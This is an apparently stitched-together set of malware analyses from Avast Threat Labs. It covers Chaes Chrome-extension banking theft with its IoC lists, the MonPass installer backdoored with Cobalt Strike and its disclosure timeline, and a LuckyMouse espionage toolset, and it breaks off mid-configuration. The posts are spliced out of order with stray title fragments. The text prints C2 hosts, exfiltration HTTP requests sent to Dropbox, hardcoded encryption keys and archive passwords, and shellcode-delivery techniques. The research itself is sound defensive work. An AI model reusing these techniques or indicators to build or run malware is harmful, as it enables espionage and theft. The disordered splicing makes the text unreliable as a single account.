<code>Index.js</code> employs two methods of communicating with the attacker: through WebSocket and through HTTP. Each method has its own set of C2 servers as shown in the above picture. WebSocket is used to receive commands and send client-related messages. On the other hand, HTTP is for exfiltrating financial data such as banking credentials and account information to the attacker.List of known <code>Index.js</code> WebSocket commands &nbsp;

If the user stays connected to the WebSocket C2 server, every six minutes it automatically goes to the targeted Mercado Pago and Mercado Livre pages and performs malicious tasks. During this routine, the attacker loses direct control of the browser. The target pages are banking, credit, and merchant pages that require users’ login. If the user has not logged out of these pages, the attacker will start to collect data and exfiltrate them through the following HTTP requests:<ul><li data-list-item-id="ec076d084f0cb13a786385e7619c61ecd"><code>/aws/newMercadoCredito.php</code></li><li data-list-item-id="ee67c02d4d0a8908a60a6eea29622d5e6"><code>/aws/newMercadoPago.php</code></li></ul>If the user is not logged in to those pages but has the password saved in Chrome, after the routine ends, the attackers will get back their direct control of Chrome and log in manually.<h2>Summary</h2>Chaes exploits many websites containing CMS WordPress to serve malicious installers. Among them, there are a few notable websites for which we tried our best to notify BR Cert. The malicious installer communicates with remote servers to download the Python framework and malicious Python scripts which initiate the next stage of the infection chain. In the final stage, malicious Google Chrome extensions are downloaded to disk and loaded within the Python process. The Google Chrome extensions are able to steal users’ credentials stored in Chrome and collect users’ banking information from popular banking websites.<h2>IOCs</h2>The full list of IoCs is available <a href="https://github.com/avast/ioc/tree/master/Chaes">here</a><h3>Network</h3><h4>HTML Scripts</h4><ul><li data-list-item-id="e506ecd44b4393dbdf6bfe11dac0e742e"><code>is[.]gd/EnjN1x?V=31</code></li><li data-list-item-id="e3aaca85b8b9299c1035f22936c9f0dfd"><code>is[.]gd/oYk9ielu?D=30</code></li><li data-list-item-id="e56896eb0f21ddb8315ec66c6d1a21240"><code>is[.]gd/Lg5g13?V=29</code></li><li data-list-item-id="e5a36670b5b89fb7c86ec3ef6c169fcbe"><code>tiny[.]one/96czm3nk?v=28</code></li><li data-list-item-id="ef9a1fad7081525fc8f836e394b2c9eca"><code>is[.]gd/WRxGba?V=27</code></li><li data-list-item-id="e26b7c59e2b2d4c6303e6d7d0001502ab"><code>is[.]gd/3d5eWS?V=26</code></li></ul><h4>MSI Download URLs</h4><ul><li data-list-item-id="e09263986cbbe50a23867c977d1818dc2"><code>dragaobrasileiro[.]com.br/wp-content/themes/getcorsfile.php?</code></li><li data-list-item-id="e4509d463873f2ecbde6d5018217d53c7"><code>chopeecia[.]com.br/D4d0EMeUm7/index.php?install</code></li><li data-list-item-id="e14ba6eb8c5f6bc78e34db36f7e847a0b"><code>bodnershapiro[.]com/blog/wp-content/themes/twentyten/p.php?</code></li><li data-list-item-id="e08a1ca235c29dcf28650c0158ffd17ff"><code>dmt-sys[.]net/index.php?</code></li><li data-list-item-id="e63d165ec61a9e185d6055eef91050428"><code>up-dmt[.]net/index.php?</code></li><li data-list-item-id="ec28a85c0c829e98c30965a698c627a7d"><code>sys-dmt[.]net/index.php?</code></li><li data-list-item-id="ee7ed3b4b238f061927a7ac4c20b62ffc"><code>x-demeter[.]com/index.php?</code></li><li data-list-item-id="e746ab4522a0edbe916ed1c8103804218"><code>walmirlima[.]com.br/wp-content/themes/epico/proxy.php?</code></li><li data-list-item-id="e05650fad78c85beffea14907b3f52ba5"><code>atlas[.]med.br/wp-content/themes/twentysixteen/proxy.php?</code></li><li data-list-item-id="e1e594f4ebfa25e52b484e9883d5c6aa2"><code>apoiodesign[.]com/language/overrides/p.php?</code></li></ul><h4>CnC Servers</h4><ul><li data-list-item-id="eebcf36b49eda3ae5b7ce0298104096db"><code>200[.]234.195.91</code></li><li data-list-item-id="e534d0ea1aaaf6cf33e1f5c48546b8ca3"><code>f84f305c[.]com</code></li><li data-list-item-id="eef672618b3f0d350f7ccf4dbadc8d2aa"><code>bkwot3kuf[.]com</code></li><li data-list-item-id="e942bf092fcceb6b633280678bab899e6"><code>comercialss[.]com</code></li><li data-list-item-id="e3bf8c7bc81c051faa259c8f06d75b820"><code>awsvirtual[.]blogspot.com</code></li><li data-list-item-id="ef7364400b11ea54da609a1ffa7235c38"><code>cliq-no[.]link</code></li><li data-list-item-id="ef3faa85118113fe42325775b6a2e161a"><code>108[.]166.219.43</code></li><li data-list-item-id="e308418eec60fe72ccfbc7980bda00c30"><code>176[.]123.8.149</code></li><li data-list-item-id="e55445c99600d1efa231742ee4c7b712c"><code>176[.]123.3.100</code></li><li data-list-item-id="e625c3936c2f858933750cf88cd14b452"><code>198[.]23.153.130</code></li><li data-list-item-id="e38d48a8bd28a4de8d6aea9d2583c6ff1"><code>191[.]252.110.241</code></li><li data-list-item-id="e3fd462dafc72b682d9aebdb13b8bee68"><code>191[.]252.110.75</code></li></ul><h3>SHA256 Hashes</h3>

Security Alert: Malware Chain Unveiled

Chasing Chaes Kill Chain

Author at Avast Threat Labs

IntroductionWe discovered an installer downloaded from the official website of <a href="http://monpass.mn/"><code>MonPass</code></a>, a major certification authority (CA) in Mongolia in East Asia that was backdoored with Cobalt Strike binaries. We immediately notified MonPass on 22 April 2021 of our findings and encouraged them to address their compromised server and notify those who downloaded the backdoored client.We have confirmed with MonPass that they have taken steps to address these issues and are now presenting our analysis.Our analysis beginning in April 2021 indicates that a public web server hosted by MonPass was breached potentially eight separate times: we found eight different webshells and backdoors on this server. We also found that the MonPass client available for download from 8 February 2021 until 3 March 2021 was backdoored.&nbsp;This research provides analysis of relevant backdoored installers and other samples that we found occurring in the wild. Also during our investigation we observed relevant <a href="https://hello.global.ntt/-/media/ntt/global/insights/white-papers/the-operations-of-winnti-group.pdf">research from NTT Ltd</a> so some technical details or IoCs may overlap.All the samples are highly similar and share the same pdb path:<code>C:\Users\test\Desktop\fishmaster\x64\Release\fishmaster.pdb</code> and the string: <code>Bidenhappyhappyhappy</code>.

Technical detailsThe malicious installer is an unsigned PE file. It starts by downloading the legitimate version of the installer from the MonPass official website. This legitimate version is dropped to the <code>C:\Users\Public\</code> folder and executed under a new process. This guarantees that the installer behaves as expected, meaning that a regular user is unlikely to notice anything suspicious.Additional similar installers were also found in the wild, with SHA256 hashes:&nbsp; <code>e2596f015378234d9308549f08bcdca8eadbf69e488355cddc9c2425f77b7535 </code>and&nbsp;<code>f21a9c69bfca6f0633ba1e669e5cf86bd8fc55b2529cd9</code>

The attackers decided to use steganography to transfer shellcode to their victims. On execution, the malware downloads a bitmap image file from http://download.google-images[.]ml:8880/download/37.bmp as shown in <code>figure 2</code>.&nbsp;The download is performed slightly unusually in two HTTP requests. The first request uses the HEAD method to retrieve the Content-Length, followed by a second GET request to actually download the image. After the picture is downloaded, the malware extracts the encrypted payload as follows. The hidden data is expected to be up to 0x76C bytes. Starting with the 3rd byte in image data it copies each 4th byte. The resulting data represents an ASCII string of hexadecimal characters which is later decoded into their respective binary values. These bytes are then XOR decrypted using the hardcoded key <code>miat_mg</code>, resulting in a Cobalt-Strike beacon.We have seen multiple versions of this backdoored installer, each with slightly modified decryptors.&nbsp;In version (<code>f21a9c69bfca6f0633ba1e669e5cf86bd8fc55b2529cd9b064ff9e2e129525e8</code>) the XOR decryption was stripped. In the version (<code>e2596f015378234d9308549f08bcdca8eadbf69e488355cddc9c2425f77b7535</code>) basic anti-analysis tricks were stripped. In Figure 3, you can see different time stamps and the same rich headers.

In the backdoored installer we also observed some basic anti-analysis techniques used in an attempt to avoid detection. In particular, we observed checks for the number of processors using the <code>GetSystemInfo</code> function, the amount of physical memory using the <code>GlobalMemoryStatusEx</code> function and the disk capacity using the <code>IOCTL_DISK_GET_DRIVE_GEOMETRY</code> IOCTL call. If any of the obtained values are suspiciously low, the malware terminates immediately.

One of the samples (<code>9834945A07CF20A0BE1D70A8F7C2AA8A90E625FA86E744E539B5FE3676EF14A9</code>) used a different known technique to execute shellcode. First it is decoded from a list of UUIDs with <code>UuidFromStringA </code>API, then it is executed using <code>EnumSystemLanguageGroupsA</code>.

After we found a backdoored installer in one of our customers,&nbsp; we commenced hunting for additional samples in VT and in our user-base, to determine if there were more backdoored installers observed in the wild. In VT we found some interesting hits:

We analyzed the sample and found out that the sample was very similar to infected installers found in our customers. The sample contained anti-analysis techniques using the same XOR decryption and also contained similar C2 server addresses (<code>hxxp://download.google-images.ml:8880/download/x37.bmp</code>) as observed in previous backdoored installers. The sample also contained references to the link (<code>hxxps://webplus-cn-hongkong-s-5faf81e0d937f14c9ddbe5a0.oss-cn-hongkong.aliyuncs[.]com/Silverlight_ins.exe</code>) and the file path <code>C:\users\public\Silverlight_ins.exe</code>; however these did not appear to be in use. The sample name is also unusual –&nbsp; <code>Browser_plugin (8).exe</code> – we speculate that this may be a test sample uploaded by the actor.&nbsp;In VT we saw another hash (<code>4a43fa8a3305c2a17f6a383fb68f02515f589ba112c6e95f570ce421cc690910</code>) again with the name <code>Browser_plugin.exe</code>. According to VT this sample has been downloaded from <code>hxxps://jquery-code.ml/Download/Browser_Plugin.exe</code>. It was downloading a PDF from <code>hxxp://37.61.205.212:8880/dow/Aili.pdf</code> PDF file <code>Aili.pdf.</code>

Afterwards it has the similar functionalities as previously mentioned samples from VT. That means it was downloading and decrypting Cobalt strike beacon from <code>hxxp://micsoftin.us:2086/dow/83.bmp</code>In our database we again found the similar sample but with the name <code>Browser_plugin (1).exe</code>. This sample was downloaded from <code>hxxp://37.61.205.212:8880/download/Browers_plugin.exe</code>, we saw it on Feb 4, 2021. It doesn’t install any legitimate software, it just shows a MessageBox. It contains C&amp;C address (<code>hxxp://download.google-images.ml:8880/downloa/37.bmp</code>), (Note: there is a typo in the directory name: downloa).&nbsp;<h2>Compromised Web server content</h2>On the breached web server, where you were able to download backdoored installer we found two executables <code>DNS.exe</code> (<code>456b69628caa3edf828f4ba987223812cbe5bbf91e6bbf167e21bef25de7c9d2</code>) and again <code>Browser_plugin.exe</code> (<code>5cebdb91c7fc3abac1248deea6ed6b87fde621d0d407923de7e1365ce13d6dbe</code>).&nbsp;<h3>DNS.exe</h3>It downloads from (<code>hxxp://download.google-images.ml:8880/download/DNSs.bat</code>) C&amp;C server bat file, that is saved in <code>C:\users\public\DNS.bat</code>. It contains this script:

In the second part of the instance, it contains the similar functionality and the same address of C&amp;C server as the backdoored installer that we mentioned earlier.&nbsp;<h3>Browser_plugin.exe</h3>(<code>5cebdb91c7fc3abac1248deea6ed6b87fde621d0d407923de7e1365ce13d6dbe</code>)This sample is very similar to this one (<code>4a43fa8a3305c2a17f6a383fb68f02515f589ba112c6e95f570ce421cc690910</code>) with the same address of C&amp;C server, but it doesn’t download any additional document.&nbsp;<h3>C&amp;C server analysis</h3>We checked the malicious web server <code>hxxps://jquery-code.ml</code>, from where (<code>4A43FA8A3305C2A17F6A383FB68F02515F589BA112C6E95F570CE421CC690910</code>) <code>Browser_plugin.exe</code> has been downloading. The malicious web server looks identical to the legitimate one <code>https://code.jquery.com/</code> the difference is the certificate. The legitimate server <code>https://code.jquery.com</code> is signed by Sectigo Limited while the malicious server is signed by Cloudflare, Inc.

ConclusionThis blog post outlines our findings regarding the MonPass client backdoored with Cobalt Strike.&nbsp;In our research we found additional variants on VirusTotal in addition to those we found on the compromised MonPass web server.&nbsp;In our analysis of the compromised client and variants, we’ve shown that the malware was using steganography to decrypt Cobalt Strike beacon.&nbsp;At this time, we’re not able to make attribution of these attacks with an appropriate level of confidence. However it’s clear that the attackers clearly intended to spread malware to users in Mongolia by compromising a trustworthy source, which in this case is a CA in Mongolia.Most importantly, anyone that has downloaded the MonPass client <code>between 8 February 2021 until 3 March 2021</code> should take steps to look for and remove the client and the backdoor it installed.&nbsp;I would like to thank <a href="https://decoded.avast.io/author/janrubin/">Jan Rubín</a> for helping me with this research.Timeline of communication:<ul><li data-list-item-id="e7eabad4d21f85ba9a9ed419a20998d37">March 24. 2021 – Discovered backdoored installer</li><li data-list-item-id="e8d7de5073698575bdd8d9566bf007ec6">April 8. 2021 – Initial contact with Monpass through <a href="https://mncert.org/#/en/">MN CERT/CC</a> providing findings.</li><li data-list-item-id="effb9ec355fe1fefa5623ca1fe24176f2">April 20. 2021 – MonPass shared a forensic image of an infected web server with Avast Threat Labs.</li><li data-list-item-id="eb15fae9d2778c710db010b00586f4519">April 22. 2021 – Avast provided information about the incident and findings from the forensics image in a call with MonPass and MN CERT/CC.</li><li data-list-item-id="e8105dcb7e169360a631c48acaf980c1a">May 3. 2021 – Avast followed up with MonPass in email. No response.</li><li data-list-item-id="e2db9146a0bdd66b9cf42026365680bc8">May 10. 2021 – Avast sent additional follow up email.</li><li data-list-item-id="e5d2e225d922c6c3ca99e586af1ee9597">June 4, 2021 – MonPass replied asking for information already provided on April 22, 2021.</li><li data-list-item-id="ec890ed4b283f34667a2386d1b5c798bd">June 14. 2021 – Follow up from Avast to MonPass, no response</li><li data-list-item-id="e487df344ecb24a55d12c053d6b59333d">June 29, 2021 – Final email to MonPass indicating our plans to publish with a draft of the blog for feedback.</li><li data-list-item-id="ea8e219e1a79c440f3b0f7b29d2475300">June 29, 2021 – Information from MonPass indicating they’ve resolved the issues and notified affected customers.</li><li data-list-item-id="e905ee901600e8a3bf0c0de076ba8b3bd">July 1, 2021 – Blog published.</li></ul>Indicators of Compromise (IoC)<ul><li data-list-item-id="eb563622ec5b86d786f0f5717c3b6e76a">&nbsp;Repository:&nbsp;<a href="https://github.com/avast/ioc/tree/master/MpIncident">https://github.com/avast/ioc/tree/master/MpIncident</a></li><li data-list-item-id="e9df84a7bde5531ce2aa4eb546809a2ff">List of SHA-256:&nbsp;<a href="https://github.com/avast/ioc/blob/master/MpIncident/samples.sha256">https://github.com/avast/ioc/blob/master/MpIncident/samples.sha256</a></li></ul>Timeline of compilation timestamps:

Discovery of Backdoored Installer

Backdoored client from Mongolian CA MonPass

Introduction&nbsp;This summer, Avast discovered a new APT campaign targeting government agencies and a National Data Center of Mongolia. We consider with moderate confidence based on our research that the chinese-speaking APT group LuckyMouse is behind the attack.&nbsp;The APT group planted backdoors and keyloggers to gain long-term access to government networks and then uploaded a variety of tools that they used to perform additional activities on the compromised network such as scanning of the local network and dumping credentials. We presume that the main aim of cyber-espionage was the exfiltration of sensitive data from potentially interesting government agencies.According to our local telemetries, we consider that the government institutions were attacked in two ways. One was through a vulnerable company who is providing services for these agencies, and the other was through an email spear-phishing with a malicious attachment – a weaponized document using CVE-2017-11882.&nbsp;There are many tactics that are consistent with other reports of LuckyMouse; nevertheless, we are also seeing some previously undocumented tactics indicating that the actors have updated their toolset with Polpo and LuckyBack backdoors. Our analysis below will highlight those new tactics.&nbsp;Attribution &amp; ClusterizationWe base our presumption that this campaign was led by the LuckyMouse APT group on the tooling that we found during the investigation of this campaign, most of them having previously been attributed to LuckyMouse by other researchers[<a href="https://securelist.com/luckymouse-hits-national-data-center/86083/">1</a>][<a href="https://securelist.com/luckymouse-ndisproxy-driver/87914/">2</a>][<a href="https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/">3</a>].In 2018, Kaspersky Labs released two blog posts about LuckyMouse targeting a national data center containing Asian government resources. Their blog posts described several tool sets such as network filtering driver NDISProxy, weaponized documents with CVE-2017-11882 (Microsoft Office Equation Editor, widely used by Chinese-speaking actors), and Earthworm tunneler. They also described a DLL sideloading technique abusing legitimate applications from Symantec (IntgStat.exe). This is a legitimate application that loads a DLL pcalocalresloader.dll. By sideloading their own version pcalocalresloader.dll, they load HyperBro RAT from a compressed and encrypted file thumbs.db. While some of the tools that were used were publicly known tools that are available on the internet, the group also developed their own tools, including a rootkit[<a href="https://securelist.com/luckymouse-hits-national-data-center/86083/">1</a>][<a href="https://securelist.com/luckymouse-ndisproxy-driver/87914/">2</a>].In April 2019, PaloAlto Networks released a blogpost about LuckyMouse. According to the post, the group installed webshells on a SharePoint server to compromise Government Organizations in the Middle East. Similarly, the group used several publicly known and available tools (such as mimikatz, curl, ntbscan). But what got our attention was the fact that the same HyperBro RAT was used in the campaign we were analyzing. The APT attack we analyzed also used a DLL sideloading technique, although with different executables. The executable used was a Symantec application thinprobe.exe that loads thinhostprobedll.dll. This DLL was then used to sideload thumb.db that contained encrypted and compressed HyperBro[<a href="https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/">3</a>].We’ve also discovered a Polpo backdoor in the network belonging to the National Data Center of Mongolia. This backdoor was accompanied by samples that are known to be used by the LuckyMouse group which lead us to the conclusion that this backdoor is a new addition into LuckyMouse’s toolkit. We also observed more common tools, e.g. VMProtect-obfuscated Earthworm tunneler, a custom installer dropping NDISProxy network filtering driver, and various network scanners.Infection ChainWe observed that this APT group was also targeting an unknown company that was providing services to government institutions in East Asia. The group infiltrated the company’s computers and managed to harvest credentials belonging to the company’s email accounts. Unfortunately, we haven’t been able to identify which attack vector was used in this infiltration. These credentials were then used to send emails from the hacked company’s email accounts to the government officials. While we were unable to recover the whole email, we’ve managed to recover the email’s header. The header indicates that these emails were asking the recipient to update a firmware, i.e. launch a self-extracting 7-zip archive attached to this email.Date: Sun, 28 Jun 2020 20:43:08 +0800 (ULAT)&nbsp; Subject: Re: Perform a firmware update on the serverXXXXXX_update.exe&nbsp;(sha256:2D2EA3002C367684F21AD08BDC9B5079EBDEE08B6356AC5694EFA139D4C6E60D)This archive drops three already familiar files – Symantec’s thinprobe.exe, malicious thinhostprobedll.dll, and thumb.db. The malicious DLL is used for DLL sideloading, decrypting and decompressing thumb.db and finally loading its processed content – a HyperBro RAT . This backdoor has also been reported on by <a href="https://securelist.com/luckymouse-hits-national-data-center/86083/">Kaspersky[1]</a> and <a href="https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/">PaloAlto Networks[3]</a>, the latter providing an extensive description of the HyperBro RAT.

ToolsetIn this following section we describe a tool set we found on the victim’s PC, used by the APT group for cyber-espionage and lateral movement through the network. We could divide these tools into three categories:<ul><li data-list-item-id="ec5b28496f4840796809ce749078d1800">Helpers: ServiceInstaller, ShellCodeExecutor, DataExtractor 1/2, Information Collector</li><li data-list-item-id="e3dfdfce41dc4ad61d882f65570b5363f">Remote access: StartServiceTool, Korplug, LuckyBack, BlueTraveller, Polpo</li><li data-list-item-id="e486a36892ee7ff4582329f1701b2a120">Publicly available tools: UAC bypass tool, port scanners, password dumpers, FRP, Earthworm tunneler</li></ul>In detail, we found the following tools:<h2>StartServiceTool</h2>This tool installs wcm.dll into %WINDIR%\system32, a registry recordHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WindowsConnections Manageris created with the following values:Description: Makes automatic connect/disconnect decisions based on the network connectivity options currently available to the PC and enables management of network connectivity based on Group Policy settings.DisplayName: Windows Connections ManagerServiceDll: C:\Windows\system32\wcm.dll.This effectively creates a new service. The dropped binary is a 32-bit service DLL that has two parts – embedded DLL, and mmLoader (<a href="http://tishion.github.io/mmLoader/">http://tishion.github.io/mmLoader/</a>), a loader that bypasses the windows loader.The final payload DLL is written in GO and contains a single export named “Interface“. This function expects 4 arguments consisting of two strings and their corresponding lengths. The string values specify the victim ID and the Dropbox API key to use. The API key is passed in as an RC4 encrypted + base64 encoded value. The hardcoded decryption key is “0000111122223333“. The DLL additionally contains a default API key which appears to be for the authors test account.Initially, it tries do download a file from Dropbox via the HTTP API:POST /2/files/download HTTP/1.1 Host: content.dropboxapi.com User-Agent: Go-http-client/1.1 Content-Length: 0 Authorization: Bearer [snipped] Dropbox-Api-Arg: {“path”: “/infos/000000.txt”} Accept-Encoding: gzipIf the server responds with a file, it tries to upload a file with a timestamp and a hostname onto Dropbox:POST /2/files/upload HTTP/1.1 Host: content.dropboxapi.com User-Agent: Go-http-client/1.1 Content-Length: 36 Authorization: Bearer [snipped] Content-Type: application/octet-stream Dropbox-Api-Arg: {“path”: “/infos/116a0d.txt”,”mode”: “overwrite”,”autorename”: true,”mute”: false,”strict_conflict”: false} Accept-Encoding: gzip%currentDate% %currentTime%##%hostname%Afterwards, a C&amp;C request-response loop is started. Based on the response from the C&amp;C server, one of the following commands is executed: download files, upload files, sleep, quit, or execute commands on a command line. See the following diagram for a detailed flow, keep in mind that all download/upload are using the aforementioned Dropbox API:

<h2>ServiceInstaller</h2>We assume that this installer is intended to be executed by one of the aforementioned backdoors as it requires command-line parameters for its successful execution:

At first, security descriptors of both %windir%\system32\ and %windir%\system32\drivers\ changes to allow the current user to copy files to these locations. Then the installer copies a service executable to %windir%\system32\ under a randomly generated name (4 alphanumeric characters).Depending on whether a service named DFS Replication already exists in&nbsp;HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost netsvcs,a new service called DFS Replication (if it does not exist) or IAS Jet Database Access Service %number% is created. More specifically, its parameters are:Description: “Configures Internet Authentication Service (IAS). If this service is stopped, the remote network access that requires user authentication will be unavailable. If this service is disabled, any services that explicitly depend on it will fail to start or (Retail) Replicates files among multiple PCs keeping them in sync. On Client, it is used to roam folders between PCs; on the server, it is used to provide high availability and local access across a wide area network (WAN). If the service is stopped, file replication does not occur, and the files on the server become out-of-date. If the service is disabled, any services that explicitly depend on it will not start.” DisplayName: DFS Replication/IAS Jet Database Access Service %number% ServiceDll: C:\Windows\system32\&lt;4 random alphanumeric characters&gt;.dll. Tag: 0 Security: 0<h2>ShellCodeExecutor</h2>This utility takes hex-encoded shellcode as an argument and then proceeds to execute it. The code responsible for decoding and unpacking can be seen below:

While we weren’t able to reconstruct which stage this executor was used, we were able to recover its parameter that corresponds to a hex-encoded metasploit-generated shellcode (reverse HTTP proxy – <a href="https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/block/block_reverse_https_proxy.asm">Github</a> configured to connect to URL oss.chrome-upgrade[.]com (202.59.9[.]58). We suspect that the threat actors used the shellcode just to retrieve and execute a further stage from the C&amp;C server.<h2>DataExtractor 1</h2>This tool can be used to gather potentially sensitive documents with pdf, ppt, xls, and doc file extensions. It recursively scans all connected drives for such documents that were modified in 2020 and later. Gathered documents are packed using Winrar and the archive is protected with a password “zaq1xsw@cde3”. This archive will be then saved to C:\MSBuild\NVIDIA\ under a filename CRYPTO-%computerName%-%number_value%.SYS. This scan is repeated every 20 minutes. If this tool is launched a second time (e.g. after reboot), only documents that were modified in the last 24 hours are gathered.After each run, a file %windir%\system32\igfxme.vbs is executed. Since this tool did not contain any exfiltration-related functionality, we presume that this script is used to exfiltrate the archive from the computer to a C&amp;C. Unfortunately, we were not able to recover this script.<h2>DataExtractor 2</h2>This binary is a simple filescanner that is provided with a list of file extensions, a list of directories, and date boundaries as parameters. Every directory from the list is searched for files with a given file extension. If such files are found and their modification date is within the provided date boundaries (in UTC), their full paths are written down into the output file. These paths are delimited by Windows line delimiters and they are encoded in 16-bit Unicode.Below you will see a part of an error message, providing us the information about how this utility is used:T040ClientLite.exe suffix .txt,.xls scanDirs E:\\test,E:\\test1 output E:\\test\\output.txt startEditDate 2020/04/26 endEditDate 2020/04/27More generally, the command’s format is:T040ClientLite.exe suffix &lt;file extensions&gt; scanDirs &lt;directories&gt; output &lt;output file&gt; startEditDate &lt;date&gt; endEditDate &lt;date&gt;<h2>Information Collector</h2>The Information Collector focuses on removable drives. If no such drives are connected, its execution is terminated. The collector fingerprints those drives (serial number, vendor ID, product ID), encrypts this data with a 64 byte XOR key, and stores it onto the system drive as hidden files. More specifically, it uses the following directories:C:\MSBuild\Resources\Format\S-1-1 (encrypted files)C:\MSBuild\Resources\Format\S-1-0\S-1-0-0 (unencrypted temporary files, deleted after encryption)

It ensures its persistence by adding itself into Run (SOFTWARE\Microsoft\Windows\CurrentVersion\Run) registry key under AvpSecurity.Interestingly, it contains many unused functions using command-line tools such as: systeminfo, arp, ipconfig, netstat, and tasklist. It also supports archiving the collected information using WinRAR with a hard-coded password “1qaz@WSX”. The sample has no networking capabilities. It primarily serves for collecting the information and transferring the gathered information using removable drives between the machines in the network.Moreover, the particular sample we analyzed contained a bug in the drives’ enumeration routine that made it virtually useless as it hampered all the sample’s functionality.<h2>RAT</h2><h3>Korplug (PlugX)</h3>Korplug (PlugX) is a well-known Remote Access Trojan associated with Chinese speaking attackers and it has been used in a large number of targeted attacks since 2012[<a href="https://www.welivesecurity.com/2014/11/12/korplug-military-targeted-attacks-afghanistan-tajikistan/">4</a>]. It uses DLL side-loading to load itself into the memory through legitimate applications. It helps it stay unnoticed by any security product. Korplug is a fully featured RAT, with capabilities such as file uploads, downloads, keystroke logging, webcam control and access to a remote cmd.exe shell.&nbsp;In our case, we observed that it was loaded through an application provided by ESET called unsecapp.exe that was signed with a valid, but expired certification. After executing unsecapp.exe, it loads a malicious DLL http_dll.dll. This DLL, in turn, decrypts http_dll.dat with a custom algorithm, yielding Korplug which is then loaded into the memory and executed. Unfortunately, we were not able to trace the RAT back to the original payload that dropped and executed these files.Address of C&amp;C servers:&nbsp;web[.]microlynconline[.]com:80 home[.]microlynconline[.]com:8000 help[.]microlynconline[.]com:443 host[.]microlynconline[.]com:53<h2>Backdoors</h2>We found three different backdoors in the government office network, two of which, PolPo and LuckyBack, were never seen in any previous campaign. Polpo also hits the National Data Center, and the two others, BlueTraveller and LuckyBack, only hit the government office network.<h3>LuckyBack</h3>LuckyBack collects the computer’s fingerprint, at first, and then tries to establish a communication with the C&amp;C server (45.77.55[.]145). Once the communication is established, the backdoor starts listening for commands. It is capable of: starting a remote shell, file manipulation (move, read, write, execute, get file size), keylogging, and screen capturing.<h4>Technical:</h4>At first, the used code page is retrieved by calling chcp, a command providing the keyboard and character set information, on the system drive.The first request on the C&amp;C server “registers” the device by providing its fingerprint. Namely, the fingerprint is constructed from: PID, Windows version/build number, CPU architecture, username, user privileges, hostname, IP address, code page, and RDP session ID.If the server accepts the registration, it responds with the PID and a simple string “OK”. Afterwards, a simple request-response C&amp;C loop is started, and commands and their corresponding numbers are displayed in the table below:

<h3>BlueTraveller</h3>This backdoor is simpler in terms of commands than the previous one. It accepts just four commands: exit, upload, download, and execute on the command line. Nevertheless, it uses two layers of C&amp;C servers, meaning that the first request is on the first layer, and it yields an IP address of a C&amp;C server from the second layer. Afterwards, the request-response C&amp;C loop uses the second layer. If the backdoor receives a command for the command line, the output from the console is encrypted with AES-256 and sent back to the second-layer C&amp;C server.The binary itself has its strings encrypted with RC4, using a hardcoded key “L!Q@W#E$R%T^Y&amp;U*A|}t~k”. Among these strings, we may find the address of the first-layer C&amp;C server and the user agent that should be used for these requests. Our sample tried to contact <a href="https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia/blank">http://go.vegispaceshop[.]org/shop.htm</a>. The response seems to be pretty inconspicuous at first glance. But once we have a look more closely, we see that many lines are followed by a mixture of tabs and spaces,which is rather fishy indeed. And surprisingly this is where the IP address of the second C&amp;C layer hides!

The BlueTraveller uses the same scheme for encryption – AES-256 with a key derived from a string that is hashed with SHA-256, providing the IV and the key. The first usage of this encryption is in the first request to the second-layer C&amp;C. For this first request, the key is derived from a string “0304276cf4f31345“. The key is then used to encrypt the generated GUID and the computer’s hostname which are then Base64-encoded and used to generate the request URL:&nbsp;&nbsp;http://&lt;second_layer_C&amp;C&gt;/home/&lt;rand number&gt;/&lt;enc_length&gt;/&lt;Base64 data&gt;.After this request is executed, commands are retrieved from:http://&lt;second_layer_C&amp;C&gt;/index.htm.The obtained data is encrypted with AES-256, using the aforementioned approach with GUID as a base-string for the key-derivation procedure. Each response also contains the random number that was sent in the first second-layer request. The malware checks whether the received number matches the one it sent; in case of a mismatch, the command is discarded. If a command for the command line is received, the output of the executed command (AES-256 encrypted, using the same key as the previous response, and Base64 encoded) is sent tohttp://&lt;second_layer_C&amp;C&gt;/help/&lt;rand number&gt;/&lt;enc_length&gt;/&lt;Base64 data&gt;.<h3>Polpo</h3>Polpo is a backdoor that we’ve been seeing in the wild since 2018. It supports around 15 different commands including information collection and exfiltration, file transfer, and proxy connections.

Base64-encoded addresses of C&amp;C servers are hard-coded in the binary<h4>Polpo – Communication</h4>The backdoor mimics the HTTP protocol to blend with the normal traffic. The transferred data is encrypted with AES and encoded into Base64 then sent as a part of fake HTML content.&nbsp;

The AES encryption key is derived from the first packet of each new command received from the C&amp;C server, using the algorithm below:

The sample checks for a proxy configured on the system found in the Registry Key Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable. If a proxy is configured it uses the server specified in Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyServer for all the connections.&nbsp;<h4>Polpo – Functionality</h4>There are more than 15 commands supported by the backdoor, although some of them are duplicates. Most of the commands are executed in separate threads. Errors and inter-thread communication are handled using Events.

These commands are supported by the version of Polpo we’ve analyzed:

<h2>UAC bypass tool</h2>An open-source UAC bypass tool (<a href="https://github.com/vestjoe/WinPwnage#uac-bypass-techniques">https://github.com/vestjoe/WinPwnage</a>) was detected on several compromised devices. It may be used to elevate privileges or achieve persistence on the system. We presume that it was used to execute tasks and programs under administrator-level permissions.&nbsp;<h2>Port-scanners</h2>Several different port scanners were seen on compromised devices under various filenames. One of the used port scanners was open-source <a href="https://github.com/kingron/s">https://github.com/kingron/s</a>. We assume that in this case it was used for scanning the ports of the server to find out which services were running.<h2>Nbtscan</h2>Nbtscan is a command-line NetBIOS scanner for Windows that scans for open NetBIOS name servers in the network.<h2>Passwords dumpers</h2><a href="https://github.com/gentilkiwi/mimikatz">Mimikatz</a> and <a href="https://github.com/AlessandroZ/LaZagne">Lazagne</a> were seen on the infected computers. We presume that they were used to retrieve credentials from the compromised computers. We’ve also spotted a wrapped Mimikatz version, download from <a href="https://github.com/jas502n/mimikat_ssp">https://github.com/jas502n/mimikat_ssp</a>, on several compromised devices.<h2>FRP</h2>Fast Reverse Proxy (FRP) is a tool that allows you to expose local services that are hidden behind the NAT or a firewall to the internet. Both the raw TCP and UDP are supported as well as several other protocols whose requests can be forwarded to the internal services via this proxy. We’ve recovered a configuration file 3bef4cd.tmp for this proxy. The content of this proxy is the following:[common] 